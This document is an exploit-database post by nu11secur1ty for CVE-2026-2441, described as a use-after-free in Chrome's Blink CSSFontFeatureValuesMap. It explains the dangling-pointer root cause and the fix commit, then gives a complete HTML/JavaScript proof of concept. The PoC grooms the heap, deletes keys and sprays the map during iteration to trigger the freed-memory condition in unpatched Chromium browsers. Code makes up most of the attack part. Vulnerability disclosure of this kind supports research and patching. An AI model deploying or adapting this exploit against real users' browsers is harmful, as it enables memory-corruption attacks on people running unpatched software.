Google Chrome 145.0.7632.75 – CSSFontFeatureValuesMap
# Exploit Title: Google Chrome 145.0.7632.75 - CSSFontFeatureValuesMap # Date: 2026-02-23 # Exploit Author: nu11secur1ty # Vendor Homepage: https://www.google.com/chrome/ # Software Link: https://www.google.com/chrome/ # Version: Chrome <= 144.x | Chrome < 145.0.7632.75 # Tested on: Windows 11 / Linux / macOS # CVE: CVE-2026-2441 # Exploit Repository: https://github.com/nu11secur1ty/Windows11Exploits/tree/main/2026/CVE-2026-2441 ## Description A use-after-free vulnerability exists in Google Chrome's CSS engine (Blink) within the CSSFontFeatureValuesMap implementation. When an iterator is created over a CSSFontFeatureValuesMap object and the underlying HashMap is mutated during iteration, a rehash operation occurs, freeing the original memory while the iterator still holds a raw pointer to it. This leads to a use-after-free condition that can be exploited to execute arbitrary code inside the Chrome sandbox. The vulnerability was actively exploited in the wild as a zero-day before the patch was released. ## Vulnerable Versions - Google Chrome <= 144.x - Google Chrome < 145.0.7632.75 - Microsoft Edge (prior to Chromium 145 update) - Opera (prior to 127.0.5778.64) - Any Chromium-based browser using affected Blink versions ## Technical Details **Root Cause:** In `third_party/blink/renderer/core/css/css_font_feature_values_map.cc`, the `FontFeatureValuesMapIterationSource` holds a raw pointer (`const FontFeatureAliases* aliases_`) to the internal HashMap. When the map is mutated via `set()` or `delete()` during iteration, the HashMap rehashes, the old storage is freed, and the pointer becomes dangling. **Fix:** Commit `63f3cb4864c64c677cd60c76c8cb49d37d08319c` replaces the raw pointer with a deep copy (`const FontFeatureAliases aliases_`). ## CVSS Score **8.8 (High)** - CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H ## Proof of Concept ```html <!DOCTYPE html> <!-- CVE-2026-2441 - CSSFontFeatureValuesMap UAF Author: nu11secur1ty Date: 2026-02-23 Repository: --> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="author" content="nu11secur1ty"> <title>CVE-2026-2441 PoC - nu11secur1ty</title> <style id="target-style"> @font-feature-values Target { @styleset { a:1; b:2; c:3; d:4; e:5; f:6; g:7; h:8; i:9; j:10; k:11; l:12; m:13; n:14; o:15; } } </style> <style id="groom-style"></style> </head> <body> <h2>CVE-2026-2441 Proof of Concept</h2> <p>Author: nu11secur1ty</p> <p>Check browser console for output. If browser crashes -> VULNERABLE</p> <script> // ================================================================= // CVE-2026-2441 Use-After-Free Exploit // Author: nu11secur1ty // ================================================================= console.log("=========================================="); console.log("CVE-2026-2441 PoC - nu11secur1ty"); console.log("=========================================="); // Heap grooming - create stable heap state function groomHeap(count) { let style = document.getElementById('groom-style'); if (!style || !style.sheet) return []; // Clear existing while (style.sheet.cssRules.length) { try { style.sheet.deleteRule(0); } catch(e) {} } // Create groom objects for (let i = 0; i < count; i++) { try { style.sheet.insertRule( `@font-feature-values Groom${i} { @styleset { v${i}: ${i}; } }`, style.sheet.cssRules.length ); } catch(e) {} } console.log("[+] Heap groomed with " + count + " objects"); return Array(count); } // Main exploit logic try { // Phase 1: Prepare heap groomHeap(64); // Phase 2: Get target map let sheet = document.getElementById('target-style').sheet; if (!sheet || !sheet.cssRules.length) { throw new Error("Target CSS rule not found"); } let rule = sheet.cssRules[0]; let map = rule.styleset; console.log("[+] CSSFontFeatureValuesMap size: " + map.size); // Phase 3: Create iterator - RAW POINTER CAPTURED HERE console.log("[*] Creating iterator (raw pointer captured)"); let iterator = map.entries(); let step = 0; let iterations = 0; // Phase 4: Trigger UAF through mutation + rehash console.log("[*] Triggering rehash + UAF..."); while (step < 10) { let result = iterator.next(); if (result.done) break; let [key, value] = result.value; iterations++; console.log(" [step " + step + "] Read: " + key + " = " + value); // MUTATION: delete current key map.delete(key); // MUTATION: massive insert to force rehash for (let i = 0; i < 512; i++) { map.set("spray_" + step + "_" + i, [i, i+1, i+2]); } step++; } console.log("[*] Completed " + iterations + " iterations"); // Phase 5: Final check console.log("[*] Exploit execution complete"); console.log("[*] If browser crashed: VULNERABLE"); console.log("[*] If page survived: PATCHED"); console.log("=========================================="); console.log("CVE-2026-2441 - nu11secur1ty"); console.log("Repository: https://github.com/nu11secur1ty/CVE-mitre/tree/main/2026/CVE-2026-2441"); console.log("=========================================="); } catch (e) { console.log("[!] EXCEPTION: " + e.message); console.log("[!] This indicates UAF was triggered"); console.log("[!] CVE-2026-2441 - nu11secur1ty"); } // Force layout recalc as additional trigger void document.body.offsetWidth; </script> <!-- Alternative for...of trigger --> <script> try { let altStyle = document.createElement('style'); document.head.appendChild(altStyle); altStyle.sheet.insertRule( '@font-feature-values Alt{@styleset{x:1; y:2; z:3;}}', 0 ); let altMap = altStyle.sheet.cssRules[0].styleset; for (let [k, v] of altMap) { altMap.delete(k); for (let i = 0; i < 256; i++) { altMap.set("alt_" + i, [i]); } break; } } catch(e) { console.log("[!] Alternative trigger exception: " + e.message); } </script> </body> </html> # Demo: [href](https://www.patreon.com/posts/cve-2026-2441-151454779) -- System Administrator - Infrastructure Engineer Penetration Testing Engineer Exploit developer at https://packetstorm.news/ https://cve.mitre.org/index.html https://cxsecurity.com/ and https://www.exploit-db.com/ 0day Exploit DataBase https://0day.today/ home page: https://www.asc3t1c-nu11secur1ty.com/ hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E= nu11secur1ty <http://nu11secur1ty.com/> |